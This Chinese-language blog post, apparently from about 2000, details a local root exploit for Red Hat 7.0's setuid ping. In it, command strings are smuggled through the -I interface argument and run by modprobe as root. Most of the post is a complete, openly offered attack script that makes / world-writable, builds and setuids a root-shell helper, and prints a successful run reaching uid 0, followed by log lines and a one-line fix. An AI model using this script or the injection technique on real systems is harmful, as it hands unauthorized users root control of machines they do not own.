redhat7本地利用ping拿root漏洞详析

  首先声明,本人及本人所在公司盖不对利用此漏洞所造成的损失负责。攻击代码不长,可以用shell或perl 来编写,推荐用shell写。 原理: 也许是redhat7的重大漏洞吧,他的ping程序的-I参数指定interface时通过modprobe和insmod执行任意代 码,大家都知道ping程序的权位是这样的: [Hello!sune4gle]$ ls -l /bin/ping -rwsr-xr-x 1 root root 20604 Aug 8 2000 /bin/ping ping程序调用了raw_socket的所有setuid位,,呵呵,我们可以通过用ping的-I参数来ping一个不存在的ip ,当然ip前面的参数是关键,也就是我们的执行命令,s权位令我们以普通权限的uid来运行ping时的euid 为0,所以实际上我们在运行ping的一瞬间是以超级拥护的权限在执行命令的。这样如果我们运行如下的命 令的话: [Hello!sune4gle]$ping -I ‘;chmod o+w .’ 195.117.3.59 &>/dev/null 就是把当前目录对其他用户可写了,呵呵,当然我们可以利用sleep语句来使该进程等待,利用等待的时间 我们可以写一个c程序,让他编译并且运行: cat >/x.c <<_eof_ main() { setuid(0); seteuid(0); system("chmod 755 /;rm -f /x; rm -f /x.c"); execl("/bin/bash","bash","-i",0); } _eof_ gcc /x.c -o /x chmod 755 /x 到这里大家应该都明白了吧?呵呵在/下创建x.c文件,并且编译,使它也拥有s权位,呵呵就使一个setuid 的rootshell啦,以下是写好的攻击代码: #!/bin/sh echo echo "RedHat 7.0 exploit" echo "(c) 2000 suneagle <suneagle@patching.net>" echo echo "Enjoy hacking! :)" echo PING=/bin/ping test -u $PING || PING=/bin/ping if [ ! -u $PING ]; then echo "Sorry, no setuid ping." exit 0 fi echo "Phase 1: making / world-writable…" $PING -I ‘;chmod o+w .’ 195.117.3.59 &>/dev/null sleep 1 echo "Phase 2: compiling helper program in /…" cat >/x.c <<_eof_ main() { setuid(0); seteuid(0); system("chmod 755 /;rm -f /x; rm -f /x.c"); execl("/bin/bash","bash","-i",0); } _eof_ gcc /x.c -o /x chmod 755 /x echo "Phase 3: chown+chmod on our helper program…" $PING -I ‘;chown 0 x’ 202.102.3.1 &>/dev/null sleep 1 $PING -I ‘;chmod +s x’ 202.101.23.1 &>/dev/null sleep 1 if [ ! -u /x ]; then echo "Apparently, this is not exploitable on this system :(" exit 1 fi echo "Ye! Entering rootshell…" /x echo "Thank you." 哈哈,好,我把这个shell程序在redhat7下的运行测试结果贴出来: 首先我得有个普通帐户,嘿嘿 [Hello!sune4gle]$ ./getroot.sh RedHat 7.0 exploit (c) 2000 suneagle <suneagle@patching.net> Enjoy hacking! 🙂 Phase 1: making / world-writable… Phase 2: compiling helper program in /… Phase 3: chown+chmod on our helper program… Ye! Entering rootshell… [Hello!root]# id uid=0(root) gid=500(sune4gle) groups=500(sune4gle) [Hello!root]# 攻击后的log: Feb 24 11:16:27 sune4gle modprobe: modprobe: insmod ;chmod o+w . failed Feb 24 11:16:30 sune4gle modprobe: modprobe: insmod ;chown 0 x failed Feb 24 11:16:31 sune4gle modprobe: modprobe: insmod ;chmod +s x failed 解决方法: 去掉或限制ping程序的setuid位 [Hello!sune4gle]# chmod 655 /bin/ping 原作者:大鹰选择自己所爱的,爱自己所选择的。

redhat7本地利用ping拿root漏洞详析

相关文章:

你感兴趣的文章:

标签云: